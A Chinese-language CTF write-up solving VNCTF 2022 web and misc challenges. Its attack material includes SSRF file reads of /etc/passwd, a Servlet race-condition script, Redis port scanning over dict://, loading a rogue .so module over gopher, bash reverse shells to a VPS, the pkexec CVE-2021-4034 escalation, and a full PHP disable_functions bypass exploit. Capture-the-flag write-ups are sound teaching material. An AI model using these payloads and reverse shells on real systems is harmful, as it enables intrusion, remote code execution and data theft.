Web
GameV4.0
和往年的签到题比较类似,翻源码js/data.js
。搜索flag,解base64即可。
easyJ4va
题目不是很难,但很可惜比赛的时候卡在最后一步。进入环境后查看源码,提示存在/file
页面
访问,尝试加上参数?url=,考虑存在SSRF漏洞
测试/file?url=http://www.baidu.com
使用file://
协议进行任意文件读取/file?url=file:///etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
tomcat:x:1000:1000::/home/tomcat:/bin/sh
fuzz一下常见目录
/etc/passwd 用户密码文件
/etc/shadow 真正的用户密码文件,但是一般没有权限读
/proc/self/environ 读取当前目录
/proc/self/cwd 代表当前路径
/var/www/html 一般的网址路径
/etc/group 用户组信息
/etc/hosts 主机网卡信息
测试可以使用/proc/self/cwd
进行网站目录下的任意文件读取
下面就是读取webapps中的class文件了
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/entity/User.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/servlet/FileServlet.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/servlet/HelloWorldServlet.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/util/Secr3t.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/util/SerAndDe.class
/file?url=file:///proc/self/cwd/webapps/ROOT/WEB-INF/classes/util/UrlUtil.class
下面使用反编译器对.class文件进行反编译,也可以直接用IDEA自带的反编译器。这一步建议多使用几个反编译器比较一下,不同的反编译器之间的结果可能略有不同。
下面贴出比较关键的类
//HelloWorldServlet.class
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package servlet;
import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;
@WebServlet(
name = "HelloServlet",
urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
private volatile String name = "m4n_q1u_666";
private volatile String age = "666";
private volatile String height = "180";
User user;
public HelloWorldServlet() {
}
public void init() throws ServletException {
this.user = new User(this.name, this.age, this.height);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String key = req.getParameter("key");
String text = req.getParameter("base64");
if (Secr3t.getKey().equals(key) && text != null) {
Decoder decoder = Base64.getDecoder();
byte[] textByte = decoder.decode(text);
User u = (User)SerAndDe.deserialize(textByte);
if (this.user.equals(u)) {
this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
}
} else {
this.Response(resp, "KeyError");
}
}
private void Response(HttpServletResponse resp, String outStr) throws IOException {
ServletOutputStream out = resp.getOutputStream();
out.write(outStr.getBytes());
out.flush();
out.close();
}
}
可以看到逻辑很简单,想要获取flag,需要在/evi1
页面传入key
和序列化的特定User
实例。我们先来分析一下如何获得key
,代码部分如下
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String reqName = req.getParameter("name");
if (reqName != null) {
this.name = reqName;
}
if (Secr3t.check(this.name)) {
this.Response(resp, "no vnctf2022!");
} else {
if (Secr3t.check(this.name)) {
this.Response(resp, "The Key is " + Secr3t.getKey());
}
}
}
GET传入name参数,Secr3t.check()
函数如下
public static boolean check(String checkStr) {
return "vnctf2022".equals(checkStr);
}
两个if的条件相同,如何做到不满足第一个if而满足第二个if呢?我们可以使用条件竞争的方式,参考Servlet的线程安全问题。
写个脚本跑一下
import requests
import threading
class thread_key(threading.Thread):
def __init__(self,par):
threading.Thread.__init__(self)
self.url="http://c78b9413-0b42-44b3-8ac7-3df25c2845dc.node4.buuoj.cn:81/evi1?name="
self.req=self.url+par
self.event=threading.Event()
self.event.set()
self.session=requests.session()
def run(self):
while self.event.isSet():
r=self.session.get(self.req)
text=r.text
if "Key" in text:
print(text)
self.event.clear()
thread1=thread_key("vnctf2022")
thread2=thread_key("vnctf2021")
thread1.start()
thread2.start()
下面的工作就是传入符合条件的User类了。User类中重写了readObject方法
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
this.height = (String)s.readObject();
}
我们需要重写writeObject方法,不然transient
类型的属性height
不会被反序列化
private void writeObject(ObjectOutputStream s) throws IOException, ClassNotFoundException{
s.defaultWriteObject();
s.writeObject(this.height);
}
序列化User类,代码如下
import entity.User;
import util.SerAndDe;
import java.io.IOException;
import java.util.Base64;
public class Payload {
public static void main(String[] args) throws IOException {
User user = new User("m4n_q1u_666","666","180");
byte[] bytes= SerAndDe.serialize(user);
String base_64 = Base64.getEncoder().encodeToString(bytes);
System.out.println(base_64);
System.out.print((User)SerAndDe.deserialize(Base64.getDecoder().decode(base_64)));
}
}
至于为什么类中自定义的private
的readObject()
和writeObject()
方法可以被自动调用,这就需要你跟一下底层源码来一探究竟了,在ObjectStreamClass
类的最底层,通过反射来执行private类型的方法。
同时POST传入key和base64即可获得flag
gocalc0
非预期
点击”flag在这里”,提示flag在session中,获取session
MTY0NDg0ODI5M3xEdi1CQkFFQ180SUFBUkFCRUFBQVNQLUNBQUVHYzNSeWFXNW5EQVlBQkVaTVFVY0djM1J5YVc1bkRDd0FLbVpzWVdkN01HTXdZVFE0T1RVdE1tRmlPQzAwTXpBeUxXSXpNek10TldVNU4ySmhNVEEwTldKbWZRPT18g_Vk5BDjgj-3iev6TUJMYRXF-hUUYCAPrnHlwRqIwLE=
使用base64解密,不过要删掉一部分无关字符串
再次解密其中的base64获得flag
InterestingPHP
环境给出了源码,可以通过exp参数执行任意代码。
<?php highlight_file(__FILE__); @eval($_GET['exp']);?>
phpinfo()
和一些命令执行函数貌似被过滤了,我们可以尝试使用get_cfg_var()
函数来获取PHP配置选项的值,也可以使用ini_get_all()
函数来获取所有配置选项的值。
var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());
这里get_cfg_var()
被禁了,我们使用ini_get_all()
读配置。
方法一
我们先读一下网站目录文件/?exp=print_r(scandir('.'));
.rdb为redis数据库文件,说明网站开启了Redis服务,默认端口为6379。读一下secret.rdb文件
Redis密码为ye_w4nt_a_gir1fri3nd
我们构造一个SSRF尝试访问Redis服务。
SSRF.py
import requests
url="http://f4df9e35-7eae-4e0d-a68f-a426e3659faf.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
#构造SSRF,通过dict://协议爆破Redis端口
payloads='''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if($result!=''){
echo $result.$url;
}
}
for($i=0;$i<9999;$i++){
Curl("dict://127.0.0.1:$i/info");
}
'''
data={0:payloads}
r=requests.post(url,data=data)
print(r.text)
Redis服务开启在8888端口。
我们知道,对于内网中的Redis服务,可以通过以下几种方式进行未授权攻击
- 绝对路径写shell
- 写 ssh-keygen 公钥登录服务器
- 创建计划任务反弹shell
- Redis主从复制getshell
由于部分攻击方式存在一些限制,我们首先来看一看主从复制getshell,原理如下
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC命令将文件同步到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
也就是说我们是通过主从机的文件同步命令来将恶意.so文件上传到服务器的,进而加载.so文件命令执行。
别忘了我们可以执行任意PHP代码,所以我们尝试直接通过SSRF将.so恶意文件加载到服务器上,这里.so文件使用的是redis-rogue-server工具中的exp.so,将.so文件放置在vps上。
exp.py
import requests
url = "http://f4df9e35-7eae-4e0d-a68f-a426e3659faf.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
payloads = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if(file_put_contents("exp.so",$result)){
print("success");
}
}
Curl("http://vps-ip/exp.so");
'''.strip()
data = {0: payloads}
r = requests.post(url, data=data)
print(r.text)
成功加载.so文件
下面就是利用gopher协议将.so文件加载到redis中进行命令执行
rce.py
import requests
from urllib import parse
url = "http://f4df9e35-7eae-4e0d-a68f-a426e3659faf.node4.buuoj.cn:81/?exp=eval($_POST[0]);"
load='''auth ye_w4nt_a_gir1fri3nd
module load ./exp.so
system.exec 'whoami'
quit
'''.replace('\n','\r\n')
payloads = '''
function Curl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true );
$result = curl_exec($ch);
curl_close($ch);
if($result!=''){
print($result);
}
}
Curl("gopher://127.0.0.1:8888/_'''+parse.quote(load)+'''");
'''.strip()
data = {0: payloads}
r = requests.post(url, data=data)
print(r.text)
用户不是root权限,无法读取flag,需要提权。先弹个shell方便操作 bash -c "bash -i >& /dev/tcp/vps-ip/8888/ 0>&1"
。
查找suid
文件find / -user root -perm -4000
>a
/bin/mount
/bin/su
/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/pkexec
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
发现/usr/bin/pkexec文件,可能存在最近很火的pkexec提权漏洞(CVE-2021-4034)
下载编译gcc poc.c -o poc
,读取flag
方法二
既然我们能够执行任意命令,那么我们可以尝试直接写马。
虽然网站禁用了一些常见的读写函数,但我们可以使用php-filter-bypass进行绕过,这里fwrite()
被禁用,手动替换为fputs()
绕过。
exploit.php
<?php
# PHP 7.0-8.0 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=54350
#
# This exploit should work on all PHP 7.0-8.0 versions
# released as of 2021-10-06
#
# Author: https://github.com/mm0r1
pwn('bash -c "bash -i &> /dev/tcp/vps/7777 0>&1"');
function pwn($cmd) {
define('LOGGING', false);
define('CHUNK_DATA_SIZE', 0x60);
define('CHUNK_SIZE', ZEND_DEBUG_BUILD ? CHUNK_DATA_SIZE + 0x20 : CHUNK_DATA_SIZE);
define('FILTER_SIZE', ZEND_DEBUG_BUILD ? 0x70 : 0x50);
define('STRING_SIZE', CHUNK_DATA_SIZE - 0x18 - 1);
define('CMD', $cmd);
for($i = 0; $i < 10; $i++) {
$groom[] = Pwn::alloc(STRING_SIZE);
}
stream_filter_register('pwn_filter', 'Pwn');
$fd = fopen('php://memory', 'w');
stream_filter_append($fd,'pwn_filter');
fputs($fd, 'x');
}
class Helper { public $a, $b, $c; }
class Pwn extends php_user_filter {
private $abc, $abc_addr;
private $helper, $helper_addr, $helper_off;
private $uafp, $hfp;
public function filter($in, $out, &$consumed, $closing) {
if($closing) return;
stream_bucket_make_writeable($in);
$this->filtername = Pwn::alloc(STRING_SIZE);
fclose($this->stream);
$this->go();
return PSFS_PASS_ON;
}
private function go() {
$this->abc = &$this->filtername;
$this->make_uaf_obj();
$this->helper = new Helper;
$this->helper->b = function($x) {};
$this->helper_addr = $this->str2ptr(CHUNK_SIZE * 2 - 0x18) - CHUNK_SIZE * 2;
$this->log("helper @ 0x%x", $this->helper_addr);
$this->abc_addr = $this->helper_addr - CHUNK_SIZE;
$this->log("abc @ 0x%x", $this->abc_addr);
$this->helper_off = $this->helper_addr - $this->abc_addr - 0x18;
$helper_handlers = $this->str2ptr(CHUNK_SIZE);
$this->log("helper handlers @ 0x%x", $helper_handlers);
$this->prepare_leaker();
$binary_leak = $this->read($helper_handlers + 8);
$this->log("binary leak @ 0x%x", $binary_leak);
$this->prepare_cleanup($binary_leak);
$closure_addr = $this->str2ptr($this->helper_off + 0x38);
$this->log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
$this->log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
$this->log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
$this->log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = $this->helper_off + CHUNK_SIZE * 2;
for($i = 0; $i < 0x138; $i += 8) {
$this->write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $this->helper_addr + $fake_closure_off - $this->helper_off;
$this->write($this->helper_off + 0x38, $fake_closure_addr);
$this->log("fake closure @ 0x%x", $fake_closure_addr);
$this->cleanup();
($this->helper->b)(CMD);
}
private function make_uaf_obj() {
$this->uafp = fopen('php://memory', 'w');
fputs($this->uafp, pack('QQQ', 1, 0, 0xDEADBAADC0DE));
for($i = 0; $i < STRING_SIZE; $i++) {
fputs($this->uafp, "\x00");
}
}
private function prepare_leaker() {
$str_off = $this->helper_off + CHUNK_SIZE + 8;
$this->write($str_off, 2);
$this->write($str_off + 0x10, 6);
$val_off = $this->helper_off + 0x48;
$this->write($val_off, $this->helper_addr + CHUNK_SIZE + 8);
$this->write($val_off + 8, 0xA);
}
private function prepare_cleanup($binary_leak) {
$ret_gadget = $binary_leak;
do {
--$ret_gadget;
} while($this->read($ret_gadget, 1) !== 0xC3);
$this->log("ret gadget = 0x%x", $ret_gadget);
$this->write(0, $this->abc_addr + 0x20 - (PHP_MAJOR_VERSION === 8 ? 0x50 : 0x60));
$this->write(8, $ret_gadget);
}
private function read($addr, $n = 8) {
$this->write($this->helper_off + CHUNK_SIZE + 16, $addr - 0x10);
$value = strlen($this->helper->c);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function write($p, $v, $n = 8) {
for($i = 0; $i < $n; $i++) {
$this->abc[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20151012, 20160303, 20170718, 20180731, 20190902, 20200930])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
$this->log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function cleanup() {
$this->hfp = fopen('php://memory', 'w');
fputs($this->hfp, pack('QQ', 0, $this->abc_addr));
for($i = 0; $i < FILTER_SIZE - 0x10; $i++) {
fputs($this->hfp, "\x00");
}
}
private function str2ptr($p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($this->abc[$p + $j]);
}
return $address;
}
private function ptr2str($ptr, $n = 8) {
$out = '';
for ($i = 0; $i < $n; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
private function log($format, $val = '') {
if(LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat('A', $size));
}
}
?>
发送以上数据并执行
send.py
import requests
import requests_toolbelt
url="http://f6c67fd3-d96b-4f26-a20e-84edb8d97680.node4.buuoj.cn:81/?exp=eval($_POST['a']);"
with open("exp.php",'r') as f:
data=f.read()
headers={"Content-Type":"multipart/form-data;boundary=------test"}
post_data={'a':data}
message=requests_toolbelt.MultipartEncoder(post_data,boundary='------test')
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
r=requests.post(url,data=message,proxies=proxies,headers=headers)
现在我们可以执行任意命令,后面的操作步骤和方法一相同。
Misc
仔细找找
放大之后可以看出图中的像素点分布,用PS
vnctf{34aE@w}
Strange flag
给了一个流量包,有很多http协议,直接导出http对象。其中,在最后一个http请求中有如下格式的tree
经查询,这是一种esolang,叫作Folders。根据规则,由于第一个子文件夹中文件数量为4,所以解释为print
,字符串由 Unicode 字符组成,这里借用Mumuzi师傅的图,如下所示
二进制转十六进制得flag
vnctf{d23903879df57503879bcdf1efc141fe}